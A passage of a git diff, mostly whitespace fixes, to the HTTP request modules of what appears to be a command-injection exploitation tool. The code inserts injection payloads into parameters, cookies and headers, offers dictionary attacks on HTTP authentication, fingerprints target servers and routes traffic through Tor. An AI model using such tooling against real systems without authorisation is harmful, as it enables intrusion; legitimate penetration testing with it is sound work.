+ "/' directory." - print("\n" + settings.print_critical_msg(err_msg)) - return False + print("\n" + settings.print_critical_msg(err_msg)) + return False # eof \ No newline at end of file diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index d9c5f62a0b..10e9e853b8 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -9,7 +9,7 @@ it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ @@ -30,7 +30,7 @@ import base64 try: from base64 import encodebytes -except ImportError: +except ImportError: from base64 import encodestring as encodebytes import socket from socket import error as SocketError @@ -61,7 +61,7 @@ def http_response_content(content): def http_response(headers, code): response_http_headers = str(headers).split("\n") for header in response_http_headers: - if len(header) > 1: + if len(header) > 1: if settings.VERBOSITY_LEVEL >= 3: print(settings.print_traffic(header)) if menu.options.traffic_file: @@ -156,7 +156,7 @@ def https_open(self, req): _ = False response = False unauthorized = False - while not _ and settings.TOTAL_OF_REQUESTS <= settings.MAX_RETRIES and unauthorized is False: + while not _ and settings.TOTAL_OF_REQUESTS <= settings.MAX_RETRIES and unauthorized is False: if settings.MULTI_TARGETS: if settings.INIT_TEST == True and len(settings.MULTI_ENCODED_PAYLOAD) != 0: settings.MULTI_ENCODED_PAYLOAD = [] @@ -175,12 +175,12 @@ def https_open(self, req): except ValueError as err: if settings.VERBOSITY_LEVEL < 2: print(settings.SINGLE_WHITESPACE) - err_msg = "Invalid target URL has been given." + err_msg = "Invalid target URL has been given." print(settings.print_critical_msg(err_msg)) raise SystemExit() except AttributeError: - raise SystemExit() + raise SystemExit() except _urllib.error.HTTPError as err_msg: if settings.UNAUTHORIZED_ERROR in str(err_msg): @@ -190,7 +190,7 @@ def https_open(self, req): settings.MAX_RETRIES = settings.TOTAL_OF_REQUESTS * 2 if [True for err_code in settings.HTTP_ERROR_CODES if err_code in str(err_msg)]: break - + except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.RemoteDisconnected, _http_client.IncompleteRead, _http_client.InvalidURL, Exception) as err_msg: if not settings.MULTI_TARGETS and not settings.CRAWLING: pass @@ -230,7 +230,7 @@ def https_open(self, req): page = err.read() if settings.VERBOSITY_LEVEL != 0: print_http_response(err.info(), err.code, page) - + if (not settings.PERFORM_CRACKING and \ not settings.IS_JSON and \ not settings.IS_XML and \ @@ -244,18 +244,18 @@ def https_open(self, req): settings.HTTP_ERROR_CODES_SUM.append(err.code) if settings.VERBOSITY_LEVEL >= 2: if len(str(err).split(": ")[1]) == 0: - error_msg = "Non-standard HTTP status code" + error_msg = "Non-standard HTTP status code" pass else: error_msg = str(err).replace(": "," (") if len(str(err).split(": ")[1]) == 0: - err_msg = error_msg + "Non-standard HTTP status code" + err_msg = error_msg + "Non-standard HTTP status code" else: err_msg = error_msg - + print(settings.print_critical_msg(err_msg + ").")) raise SystemExit() - + """ Check for added headers. """ @@ -272,7 +272,7 @@ def do_check(request): # Check if defined any Referer HTTP header. if menu.options.referer and settings.REFERER_INJECTION == None: request.add_header(settings.REFERER, menu.options.referer) - + # Check if defined any Host HTTP header. if menu.options.host and settings.HOST_INJECTION == None: request.add_header(settings.HOST, menu.options.host) @@ -296,7 +296,7 @@ def do_check(request): if settings.TAMPER_SCRIPTS["xforwardedfor"]: from src.core.tamper import xforwardedfor xforwardedfor.tamper(request) - + # Check if defined any HTTP Authentication credentials. # HTTP Authentication: Basic, Digest, Bearer Access Authentication. if menu.options.auth_cred and menu.options.auth_type: @@ -316,7 +316,7 @@ def do_check(request): response = _urllib.request.urlopen(url, timeout=settings.TIMEOUT) except _urllib.error.HTTPError as e: try: - authline = e.headers.get('www-authenticate', '') + authline = e.headers.get('www-authenticate', '') authobj = re.match('''(\w*)\s+realm=(.*),''',authline).groups() realm = authobj[1].split(',')[0].replace("\"","") user_pass_pair = menu.options.auth_cred.split(":") @@ -331,10 +331,10 @@ def do_check(request): pass except _urllib.error.HTTPError as e: pass - + else: - pass - + pass + # Check if defined any extra HTTP headers. if menu.options.headers or menu.options.header or len(settings.RAW_HTTP_HEADERS) >= 1: if len(settings.RAW_HTTP_HEADERS) >= 1: @@ -342,11 +342,11 @@ def do_check(request): # Do replacement with the 'INJECT_HERE' tag, if the wildcard char is provided. if menu.options.headers: menu.options.headers = checks.wildcard_character(menu.options.headers) - extra_headers = menu.options.headers + extra_headers = menu.options.headers else: - menu.options.header = checks.wildcard_character(menu.options.header) + menu.options.header = checks.wildcard_character(menu.options.header) extra_headers = menu.options.header - + extra_headers = extra_headers.replace(":",": ") if ": //" in extra_headers: @@ -374,10 +374,10 @@ def do_check(request): request.add_header(settings.CONTENT_TYPE, settings.HTTP_CONTENT_TYPE_XML_HEADER_VALUE) if "Accept-Encoding" not in str(extra_headers): request.add_header('Accept-Encoding', settings.HTTP_ACCEPT_ENCODING_HEADER_VALUE) - + for extra_header in extra_headers: try: - # Extra HTTP Header name + # Extra HTTP Header name http_header_name = extra_header.split(':', 1)[0] http_header_name = ''.join(http_header_name).strip() # Extra HTTP Header value @@ -393,5 +393,5 @@ def do_check(request): request.add_header(http_header_name, http_header_value) except: pass - + # eof \ No newline at end of file diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 3ae225e12a..1f083aeb29 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -9,7 +9,7 @@ it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ @@ -43,11 +43,11 @@ def multi_params_get_value(parameter): value = re.findall(r'=(.*)', parameter) value = ''.join(value) return value - + # Do replacement with the 'INJECT_HERE' tag, if the wild card char is provided. url = checks.wildcard_character(url) - # Check for REST-ful URLs format. + # Check for REST-ful URLs format. if "?" not in url: if settings.INJECT_TAG not in url and not menu.options.shellshock: checks.check_injection_level() @@ -55,7 +55,7 @@ def multi_params_get_value(parameter): return False if menu.options.level == settings.COOKIE_INJECTION_LEVEL: return False - else: + else: err_msg = "No parameter(s) found for testing on the provided target URL. " if not menu.options.crawldepth: err_msg += "You are advised to rerun with '--crawl=2'." @@ -79,7 +79,7 @@ def multi_params_get_value(parameter): multi_parameters = parameters.split(settings.PARAMETER_DELIMITER) except ValueError as err_msg: print(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit() # Check for inappropriate format in provided parameter(s). if len([s for s in multi_parameters if "=" in s]) != (len(multi_parameters)): checks.inappropriate_format(multi_parameters) @@ -107,12 +107,12 @@ def multi_params_get_value(parameter): if len(value) == 0: parameters = parameters + settings.INJECT_TAG else: - parameters = parameters.replace(value, value + settings.INJECT_TAG) + parameters = parameters.replace(value, value + settings.INJECT_TAG) # Reconstruct the URL url = url_part + "?" + parameters url = url.replace(settings.RANDOM_TAG,"") urls_list.append(url) - return urls_list + return urls_list else: # Check if multiple parameters are supplied without the "INJECT_HERE" tag. all_params = settings.PARAMETER_DELIMITER.join(multi_parameters) @@ -152,12 +152,12 @@ def multi_params_get_value(parameter): for param in range(0,len(multi_parameters)): value = multi_params_get_value(multi_parameters[param]) parameter = settings.PARAMETER_DELIMITER.join(multi_parameters) - # Reconstruct the URL + # Reconstruct the URL url = url_part + "?" + parameter url = url.replace(settings.RANDOM_TAG,"") urls_list.append(url) - return urls_list + return urls_list """ Define the vulnerable GET parameter. @@ -185,12 +185,12 @@ def vuln_GET_param(url): if re.search(settings.VALUE_BOUNDARIES, settings.TESTABLE_VALUE) and settings.INJECT_INSIDE_BOUNDARIES: settings.TESTABLE_VALUE = checks.get_value_inside_boundaries(settings.TESTABLE_VALUE) if settings.BASE64_PADDING in pairs[param]: - settings.TESTABLE_VALUE = settings.TESTABLE_VALUE + settings.BASE64_PADDING + settings.TESTABLE_VALUE = settings.TESTABLE_VALUE + settings.BASE64_PADDING break else: vuln_parameter = url - - return vuln_parameter + + return vuln_parameter """ Check if the 'INJECT_HERE' tag, is specified on POST Requests. @@ -206,7 +206,7 @@ def multi_params_get_value(param, all_params): elif settings.IS_XML: value = re.findall(r'>(.*)" + settings.INJECT_TAG + "]+)" + settings.INJECT_TAG, parameter)[0] vuln_parameter = ''.join(vuln_parameter) - + # Regular POST data format. else: if re.search(r"" + settings.PARAMETER_DELIMITER + "(.*)=[\S*(\\/)]*" + settings.INJECT_TAG, parameter) or \ @@ -396,7 +396,7 @@ def vuln_POST_param(parameter, url): if re.search(settings.VALUE_BOUNDARIES, settings.TESTABLE_VALUE) and settings.INJECT_INSIDE_BOUNDARIES: settings.TESTABLE_VALUE = checks.get_value_inside_boundaries(settings.TESTABLE_VALUE) if settings.BASE64_PADDING in pairs[param]: - settings.TESTABLE_VALUE = settings.TESTABLE_VALUE + settings.BASE64_PADDING + settings.TESTABLE_VALUE = settings.TESTABLE_VALUE + settings.BASE64_PADDING break if 'vuln_parameter' not in locals(): @@ -424,7 +424,7 @@ def prefixes(payload, prefix): if menu.options.prefix: payload = testable_value + menu.options.prefix + prefix + payload else: - payload = testable_value + prefix + payload + payload = testable_value + prefix + payload return payload @@ -439,7 +439,7 @@ def suffixes(payload, suffix): payload = payload + suffix + menu.options.suffix else: payload = payload + suffix - + return payload """ @@ -517,11 +517,11 @@ def multi_params_get_value(parameter): if checks.ignore_google_analytics_cookie(all_params[param]): continue # Replace the value of parameter with INJECT tag - if len(value) == 0: - if not menu.options.skip_empty: + if len(value) == 0: + if not menu.options.skip_empty: all_params[param] = all_params[param] + settings.INJECT_TAG else: - all_params[param] = all_params[param].replace(value, value + settings.INJECT_TAG) + all_params[param] = all_params[param].replace(value, value + settings.INJECT_TAG) all_params[param - 1] = all_params[param - 1].replace(settings.INJECT_TAG, "") cookie = settings.COOKIE_DELIMITER.join(all_params) cookie = cookie.replace(settings.RANDOM_TAG,"") @@ -533,7 +533,7 @@ def multi_params_get_value(parameter): # Grab the value of parameter. value = re.findall(r'=(.*)', multi_parameters[param]) value = ''.join(value) - cookie = settings.COOKIE_DELIMITER.join(multi_parameters) + cookie = settings.COOKIE_DELIMITER.join(multi_parameters) cookie = cookie.replace(settings.RANDOM_TAG,"") return cookie @@ -560,7 +560,7 @@ def specify_cookie_parameter(cookie): else: inject_cookie = cookie - return inject_cookie + return inject_cookie """ The user-agent based injection. @@ -569,7 +569,7 @@ def specify_user_agent_parameter(user_agent): settings.TESTABLE_VALUE = user_agent.replace(settings.INJECT_TAG,"") return user_agent - + """ The referer based injection. """ diff --git a/src/core/requests/proxy.py b/src/core/requests/proxy.py index 881965ecfb..43e31583fe 100644 --- a/src/core/requests/proxy.py +++ b/src/core/requests/proxy.py @@ -9,7 +9,7 @@ it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ @@ -42,4 +42,4 @@ def do_check(): debug_msg = "Setting the HTTP proxy for all HTTP requests. " print(settings.print_debug_msg(debug_msg)) -# eof \ No newline at end of file +# eof \ No newline at end of file diff --git a/src/core/requests/redirection.py b/src/core/requests/redirection.py index 5335ebd125..e1040151ba 100755 --- a/src/core/requests/redirection.py +++ b/src/core/requests/redirection.py @@ -9,7 +9,7 @@ it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ @@ -19,7 +19,7 @@ import base64 try: from base64 import encodebytes -except ImportError: +except ImportError: from base64 import encodestring as encodebytes from src.utils import menu from src.utils import settings @@ -45,24 +45,24 @@ def get_method(self): class RedirectHandler(_urllib.request.HTTPRedirectHandler, object): """ - Subclass the HTTPRedirectHandler to make it use our + Subclass the HTTPRedirectHandler to make it use our Request also on the redirected URL """ - def redirect_request(self, request, fp, code, msg, headers, newurl): + def redirect_request(self, request, fp, code, msg, headers, newurl): if code in (301, 302, 303, 307): settings.REDIRECT_CODE = code - return Request(newurl.replace(' ', '%20'), - data=request.data, + return Request(newurl.replace(' ', '%20'), + data=request.data, headers=request.headers ) - else: + else: err_msg = str(_urllib.error.HTTPError(request.get_full_url(), code, msg, headers, fp)).replace(": "," (") print(settings.print_critical_msg(err_msg + ").")) raise SystemExit() try: opener = _urllib.request.build_opener(RedirectHandler()) - _urllib.request.install_opener(opener) + _urllib.request.install_opener(opener) response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.IncompleteRead, _http_client.InvalidURL) as err_msg: requests.crawler_request(redirect_url) @@ -71,7 +71,7 @@ def redirect_request(self, request, fp, code, msg, headers, newurl): if settings.CRAWLING and redirect_url in settings.HREF_SKIPPED: return redirect_url elif settings.CRAWLING and url in settings.HREF_SKIPPED: - return url + return url else: while True: if not settings.FOLLOW_REDIRECT: @@ -79,7 +79,7 @@ def redirect_request(self, request, fp, code, msg, headers, newurl): print(settings.SINGLE_WHITESPACE) message = "Got a " + str(settings.REDIRECT_CODE) + " redirect to '" + redirect_url message += "'. Do you want to follow? [Y/n] > " - redirection_option = common.read_input(message, default="Y", check_batch=True) + redirection_option = common.read_input(message, default="Y", check_batch=True) if redirection_option in settings.CHOICE_YES: settings.FOLLOW_REDIRECT = True info_msg = "Following redirection to '" + redirect_url + "'. " @@ -91,11 +91,11 @@ def redirect_request(self, request, fp, code, msg, headers, newurl): settings.FOLLOW_REDIRECT = False if settings.CRAWLING: settings.HREF_SKIPPED.append(url) - return url + return url elif redirection_option in settings.CHOICE_QUIT: raise SystemExit() else: - common.invalid_option(redirection_option) + common.invalid_option(redirection_option) pass except AttributeError: diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 5383171734..fbbb33d92c 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -9,7 +9,7 @@ it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ @@ -52,7 +52,7 @@ def crawler_request(url): request = _urllib.request.Request(url) headers.do_check(request) headers.check_http_traffic(request) - if menu.options.proxy: + if menu.options.proxy: response = proxy.use_proxy(request) elif menu.options.tor: response = tor.use_tor(request) @@ -85,7 +85,7 @@ def estimate_response_time(url, timesec): request = _urllib.request.Request(url, menu.options.data.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.TESTABLE_VALUE).encode(settings.DEFAULT_CODEC)) else: request = _urllib.request.Request(url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.TESTABLE_VALUE)) - + headers.do_check(request) start = time.time() try: @@ -96,7 +96,7 @@ def estimate_response_time(url, timesec): except _http_client.InvalidURL as err_msg: print(settings.print_critical_msg(err_msg)) raise SystemExit() - + except _urllib.error.HTTPError as err: ignore_start = time.time() if settings.UNAUTHORIZED_ERROR in str(err) and menu.options.ignore_code == settings.UNAUTHORIZED_ERROR: @@ -119,7 +119,7 @@ def estimate_response_time(url, timesec): # Checking for authentication type name. auth_type = auth_line.split()[0] # Checking for the realm attribute. - try: + try: auth_obj = re.match('''(\w*)\s+realm=(.*)''', auth_line).groups() realm = auth_obj[1].split(',')[0].replace("\"", "") except: @@ -132,11 +132,11 @@ def estimate_response_time(url, timesec): raise SystemExit() except IndexError: - err_msg = "The provided pair of " + str(menu.options.auth_type) + err_msg = "The provided pair of " + str(menu.options.auth_type) err_msg += " HTTP authentication credentials '" + str(menu.options.auth_cred) + "'" err_msg += " seems to be invalid." print(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit() if menu.options.auth_type and menu.options.auth_type != auth_type.lower(): if checks.identified_http_auth_type(auth_type): @@ -152,14 +152,14 @@ def estimate_response_time(url, timesec): stored_auth_creds = False if stored_auth_creds and not menu.options.ignore_session: menu.options.auth_cred = stored_auth_creds - info_msg = "Identified a previously stored valid pair of credentials '" + info_msg = "Identified a previously stored valid pair of credentials '" info_msg += menu.options.auth_cred + Style.RESET_ALL + Style.BRIGHT + "'." print(settings.print_bold_info_msg(info_msg)) - else: - # Basic authentication + else: + # Basic authentication if menu.options.auth_type.lower() == settings.AUTH_TYPE.BASIC: if not menu.options.ignore_code == settings.UNAUTHORIZED_ERROR: - warn_msg = menu.options.auth_type.capitalize() + " " + warn_msg = menu.options.auth_type.capitalize() + " " warn_msg += "HTTP authentication credentials are required." print(settings.print_warning_msg(warn_msg)) while True: @@ -178,18 +178,18 @@ def estimate_response_time(url, timesec): elif do_update in settings.CHOICE_QUIT: raise SystemExit() else: - common.invalid_option(do_update) + common.invalid_option(do_update) pass - # Digest authentication + # Digest authentication elif menu.options.auth_type.lower() == settings.AUTH_TYPE.DIGEST: if not menu.options.ignore_code == settings.UNAUTHORIZED_ERROR: - warn_msg = menu.options.auth_type.capitalize() + " " + warn_msg = menu.options.auth_type.capitalize() + " " warn_msg += "HTTP authentication credentials are required." - print(settings.print_warning_msg(warn_msg)) + print(settings.print_warning_msg(warn_msg)) # Check if heuristics have failed to identify the realm attribute. if not realm: - warn_msg = "Heuristics have failed to identify the realm attribute." + warn_msg = "Heuristics have failed to identify the realm attribute." print(settings.print_warning_msg(warn_msg)) while True: message = "Do you want to perform a dictionary-based attack? [Y/n] > " @@ -207,13 +207,13 @@ def estimate_response_time(url, timesec): elif do_update in settings.CHOICE_QUIT: raise SystemExit() else: - common.invalid_option(do_update) + common.invalid_option(do_update) pass - else: - checks.http_auth_err_msg() + else: + checks.http_auth_err_msg() else: raise SystemExit() - + ignore_end = time.time() start = start - (ignore_start - ignore_end) @@ -228,8 +228,8 @@ def estimate_response_time(url, timesec): request_failed(err_msg) end = time.time() - diff = end - start - + diff = end - start + if int(diff) < 1: url_time_response = int(diff) if settings.VERBOSITY_LEVEL != 0 and _: @@ -243,10 +243,10 @@ def estimate_response_time(url, timesec): print(settings.SINGLE_WHITESPACE) url_time_response = int(round(diff)) warn_msg = "Target's estimated response time is " + str(url_time_response) - warn_msg += " second" + "s"[url_time_response == 1:] + ". That may cause" + warn_msg += " second" + "s"[url_time_response == 1:] + ". That may cause" if url_time_response >= 3: warn_msg += " serious" - warn_msg += " delays during the data extraction procedure" + warn_msg += " delays during the data extraction procedure" if url_time_response >= 3: warn_msg += " and/or possible corruptions over the extracted data" warn_msg += "." @@ -270,7 +270,7 @@ def request_failed(err_msg): settings.VALID_URL = False try: - error_msg = str(err_msg.args[0]).split("] ")[1] + error_msg = str(err_msg.args[0]).split("] ")[1] except IndexError: try: error_msg = str(err_msg.args[0]) @@ -296,7 +296,7 @@ def request_failed(err_msg): err = err + " (Reason: " + str(error_msg) + "). " if settings.MULTI_TARGETS or settings.CRAWLING: err = err + "Skipping to the next target." - error_msg = err + error_msg = err print(settings.print_critical_msg(error_msg)) if not settings.CRAWLING: raise SystemExit() @@ -328,7 +328,7 @@ def request_failed(err_msg): error_msg = "There was an incomplete read error while retrieving data " error_msg += "from the target URL." elif "infinite loop" in str(error_msg): - error_msg = "Infinite redirect loop detected. " + error_msg = "Infinite redirect loop detected. " error_msg += "Please check all provided parameters and/or provide missing ones." elif "BadStatusLine" in str(error_msg): error_msg = "Connection dropped or unknown HTTP " @@ -446,7 +446,7 @@ def inject_cookie(url, vuln_parameter, payload, proxy): end = 0 start = time.time() - proxy = None + proxy = None if menu.options.proxy: try: proxy = _urllib.request.ProxyHandler({settings.SCHEME : menu.options.proxy}) @@ -506,7 +506,7 @@ def inject_user_agent(url, vuln_parameter, payload, proxy): end = 0 start = time.time() - proxy = None + proxy = None if menu.options.proxy: try: proxy = _urllib.request.ProxyHandler({settings.SCHEME : menu.options.proxy}) @@ -566,7 +566,7 @@ def inject_referer(url, vuln_parameter, payload, proxy): end = 0 start = time.time() - proxy = None + proxy = None # Check if defined any HTTP Proxy. if menu.options.proxy: try: @@ -585,7 +585,7 @@ def inject_referer(url, vuln_parameter, payload, proxy): response = inject_referer(url, vuln_parameter, payload, proxy) except Exception as err_msg: response = request_failed(err_msg) - + if settings.TIME_RELATIVE_ATTACK : end = time.time() how_long = int(end - start) @@ -597,7 +597,7 @@ def inject_referer(url, vuln_parameter, payload, proxy): Check if target host is vulnerable. (Host-based injection) """ def host_injection(url, vuln_parameter, payload): - + payload = _urllib.parse.urlparse(url).netloc + payload def inject_host(url, vuln_parameter, payload, proxy): @@ -616,7 +616,7 @@ def inject_host(url, vuln_parameter, payload, proxy): request = _urllib.request.Request(url) #Check if defined extra headers. headers.do_check(request) - payload = checks.newline_fixation(payload) + payload = checks.newline_fixation(payload) request.add_header('Host', payload) try: headers.check_http_traffic(request) @@ -630,7 +630,7 @@ def inject_host(url, vuln_parameter, payload, proxy): end = 0 start = time.time() - proxy = None + proxy = None if menu.options.proxy: try: proxy = _urllib.request.ProxyHandler({settings.SCHEME : menu.options.proxy}) @@ -642,7 +642,7 @@ def inject_host(url, vuln_parameter, payload, proxy): proxy = _urllib.request.ProxyHandler({settings.TOR_HTTP_PROXY_SCHEME:settings.TOR_HTTP_PROXY_IP + ":" + settings.TOR_HTTP_PROXY_PORT}) response = inject_host(url, vuln_parameter, payload, proxy) except Exception as err_msg: - response = request_failed(err_msg) + response = request_failed(err_msg) else: try: response = inject_host(url, vuln_parameter, payload, proxy) @@ -694,7 +694,7 @@ def inject_custom_header(url, vuln_parameter, payload, proxy): end = 0 start = time.time() - proxy = None + proxy = None if menu.options.proxy: try: proxy = _urllib.request.ProxyHandler({settings.SCHEME : menu.options.proxy}) @@ -712,7 +712,7 @@ def inject_custom_header(url, vuln_parameter, payload, proxy): response = inject_custom_header(url, vuln_parameter, payload, proxy) except Exception as err_msg: response = request_failed(err_msg) - + if settings.TIME_RELATIVE_ATTACK : end = time.time() how_long = int(end - start) @@ -726,7 +726,7 @@ def inject_custom_header(url, vuln_parameter, payload, proxy): def encoding_detection(response): charset_detected = False if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Identifying the indicated web-page charset. " + debug_msg = "Identifying the indicated web-page charset. " sys.stdout.write(settings.print_debug_msg(debug_msg)) sys.stdout.flush() try: @@ -737,7 +737,7 @@ def encoding_detection(response): except AttributeError: # Support for python 3.x charset = response.headers.get_content_charset() - if charset != None and len(charset) != 0 : + if charset != None and len(charset) != 0 : charset_detected = True else: content = re.findall(r"charset=['\"](.*)['\"]", response.read())[0] @@ -758,7 +758,7 @@ def encoding_detection(response): print(settings.print_warning_msg(warn_msg)) else: if settings.VERBOSITY_LEVEL != 0: - debug_msg = "The indicated web-page charset appears to be " + debug_msg = "The indicated web-page charset appears to be " debug_msg += settings.DEFAULT_PAGE_ENCODING + Style.RESET_ALL + "." print(settings.print_bold_debug_msg(debug_msg)) else: @@ -775,14 +775,14 @@ def encoding_detection(response): """ def technology_detection(response): if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Identifying the technology supporting the target application. " + debug_msg = "Identifying the technology supporting the target application. " sys.stdout.write(settings.print_debug_msg(debug_msg)) sys.stdout.flush() - print(settings.SINGLE_WHITESPACE) + print(settings.SINGLE_WHITESPACE) try: - if len(response.info()['X-Powered-By']) != 0: - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "The target application is powered by " + if len(response.info()['X-Powered-By']) != 0: + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "The target application is powered by " debug_msg += response.info()['X-Powered-By'] + Style.RESET_ALL + "." print(settings.print_bold_debug_msg(debug_msg)) @@ -798,24 +798,24 @@ def technology_detection(response): def application_identification(url): found_application_extension = False if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Identifying the target application." + debug_msg = "Identifying the target application." sys.stdout.write(settings.print_debug_msg(debug_msg)) sys.stdout.flush() root, application_extension = splitext(_urllib.parse.urlparse(url).path) settings.TARGET_APPLICATION = application_extension[1:].upper() - + if settings.TARGET_APPLICATION: found_application_extension = True if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - debug_msg = "The target application identified as " + print(settings.SINGLE_WHITESPACE) + debug_msg = "The target application identified as " debug_msg += settings.TARGET_APPLICATION + Style.RESET_ALL + "." print(settings.print_bold_debug_msg(debug_msg)) # Check for unsupported target applications for i in range(0,len(settings.UNSUPPORTED_TARGET_APPLICATION)): if settings.TARGET_APPLICATION.lower() in settings.UNSUPPORTED_TARGET_APPLICATION[i].lower(): - err_msg = settings.TARGET_APPLICATION + " exploitation is not yet supported." + err_msg = settings.TARGET_APPLICATION + " exploitation is not yet supported." print(settings.print_critical_msg(err_msg)) raise SystemExit() @@ -831,7 +831,7 @@ def application_identification(url): def server_identification(server_banner): found_server_banner = False if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Identifying the target server. " + debug_msg = "Identifying the target server. " sys.stdout.write(settings.print_debug_msg(debug_msg)) sys.stdout.flush() @@ -841,7 +841,7 @@ def server_identification(server_banner): if settings.VERBOSITY_LEVEL != 0: print(settings.SINGLE_WHITESPACE) if settings.VERBOSITY_LEVEL != 0: - debug_msg = "The target server identified as " + debug_msg = "The target server identified as " debug_msg += server_banner + Style.RESET_ALL + "." print(settings.print_bold_debug_msg(debug_msg)) settings.SERVER_BANNER = match.group(0) @@ -852,7 +852,7 @@ def server_identification(server_banner): settings.WEB_ROOT = "\\htdocs" else: settings.WEB_ROOT = "/var/www" - elif "nginx" in settings.SERVER_BANNER.lower(): + elif "nginx" in settings.SERVER_BANNER.lower(): settings.WEB_ROOT = "/usr/share/nginx" elif "microsoft-iis" in settings.SERVER_BANNER.lower(): settings.WEB_ROOT = "\\inetpub\\wwwroot" @@ -860,7 +860,7 @@ def server_identification(server_banner): else: if settings.VERBOSITY_LEVEL != 0: print(settings.SINGLE_WHITESPACE) - warn_msg = "The server which identified as '" + warn_msg = "The server which identified as '" warn_msg += server_banner + "' seems unknown." print(settings.print_warning_msg(warn_msg)) @@ -873,7 +873,7 @@ def check_target_os(server_banner): user_defined_os = settings.TARGET_OS if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Identifying The underlying operating system. " + debug_msg = "Identifying The underlying operating system. " sys.stdout.write(settings.print_debug_msg(debug_msg)) sys.stdout.flush() @@ -894,7 +894,7 @@ def check_target_os(server_banner): if menu.options.shellshock: if settings.VERBOSITY_LEVEL != 0: print(settings.SINGLE_WHITESPACE) - err_msg = "The shellshock module ('--shellshock') is not available for " + err_msg = "The shellshock module ('--shellshock') is not available for " err_msg += identified_os + " targets." print(settings.print_critical_msg(err_msg)) raise SystemExit() @@ -907,7 +907,7 @@ def check_target_os(server_banner): if settings.VERBOSITY_LEVEL != 0 : if found_os_server: print(settings.SINGLE_WHITESPACE) - debug_msg = "The underlying operating system appears to be " + debug_msg = "The underlying operating system appears to be " debug_msg += identified_os.title() + Style.RESET_ALL + "." print(settings.print_bold_debug_msg(debug_msg)) else: @@ -918,7 +918,7 @@ def check_target_os(server_banner): if found_os_server == False and not menu.options.os: # If "--shellshock" option is provided then, by default is a Linux/Unix operating system. if menu.options.shellshock: - pass + pass else: if menu.options.batch: if not settings.CHECK_BOTH_OS: @@ -945,7 +945,7 @@ def check_target_os(server_banner): elif got_os.lower() == "q": raise SystemExit() else: - common.invalid_option(got_os) + common.invalid_option(got_os) pass """ diff --git a/src/core/requests/tor.py b/src/core/requests/tor.py index 80f34e68e1..d4f73ba18b 100644 --- a/src/core/requests/tor.py +++ b/src/core/requests/tor.py @@ -31,10 +31,10 @@ """ Check if Tor HTTP proxy is defined. """ -def do_check(): +def do_check(): check_tor_http_proxy = True - info_msg = "Testing Tor HTTP proxy settings (" - info_msg += settings.TOR_HTTP_PROXY_SCHEME + "://" + settings.TOR_HTTP_PROXY_IP + ":" + TOR_HTTP_PROXY_PORT + info_msg = "Testing Tor HTTP proxy settings (" + info_msg += settings.TOR_HTTP_PROXY_SCHEME + "://" + settings.TOR_HTTP_PROXY_IP + ":" + TOR_HTTP_PROXY_PORT info_msg += "). " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() @@ -45,7 +45,7 @@ def do_check(): except: check_tor_http_proxy = False pass - + if check_tor_http_proxy: try: check_tor_page = opener.open("https://check.torproject.org/").read().decode(settings.DEFAULT_CODEC) @@ -61,21 +61,21 @@ def do_check(): sys.stdout.write(settings.print_bold_info_msg(info_msg)) warn_msg = "Increasing default value for option '--time-sec' to" warn_msg += " " + str(settings.TIMESEC) + " because switch '--tor' was provided." - print(settings.print_warning_msg(warn_msg)) + print(settings.print_warning_msg(warn_msg)) else: print(settings.SINGLE_WHITESPACE) if menu.options.tor_check: err_msg = "It seems that your Tor connection is not properly set. " else: - err_msg = "" + err_msg = "" err_msg += "Can't establish connection with the Tor HTTP proxy. " err_msg += "Please make sure that you have " err_msg += "Tor bundle installed and running so " err_msg += "you could successfully use " err_msg += "switch '--tor'." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + print(settings.print_critical_msg(err_msg)) + raise SystemExit() except _urllib.error.URLError as err_msg: print(settings.SINGLE_WHITESPACE) @@ -87,8 +87,8 @@ def do_check(): err_msg += "Tor bundle installed and running so " err_msg += "you could successfully use " err_msg += "switch '--tor'." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + print(settings.print_critical_msg(err_msg)) + raise SystemExit() except (_http_client.BadStatusLine, _http_client.IncompleteRead) as err_msg: print(settings.SINGLE_WHITESPACE) @@ -101,11 +101,11 @@ def do_check(): Use the TOR HTTP Proxy. """ def use_tor(request): - if menu.options.offline: + if menu.options.offline: err_msg = "You cannot Tor network without access on the Internet." print(settings.print_critical_msg(err_msg)) raise SystemExit() - + try: tor_http_proxy = _urllib.request.ProxyHandler({settings.TOR_HTTP_PROXY_SCHEME:settings.TOR_HTTP_PROXY_IP + ":" + TOR_HTTP_PROXY_PORT}) opener = _urllib.request.build_opener(tor_http_proxy) @@ -121,4 +121,4 @@ def use_tor(request): print(settings.print_critical_msg(error_msg)) raise SystemExit() -# eof \ No newline at end of file +# eof 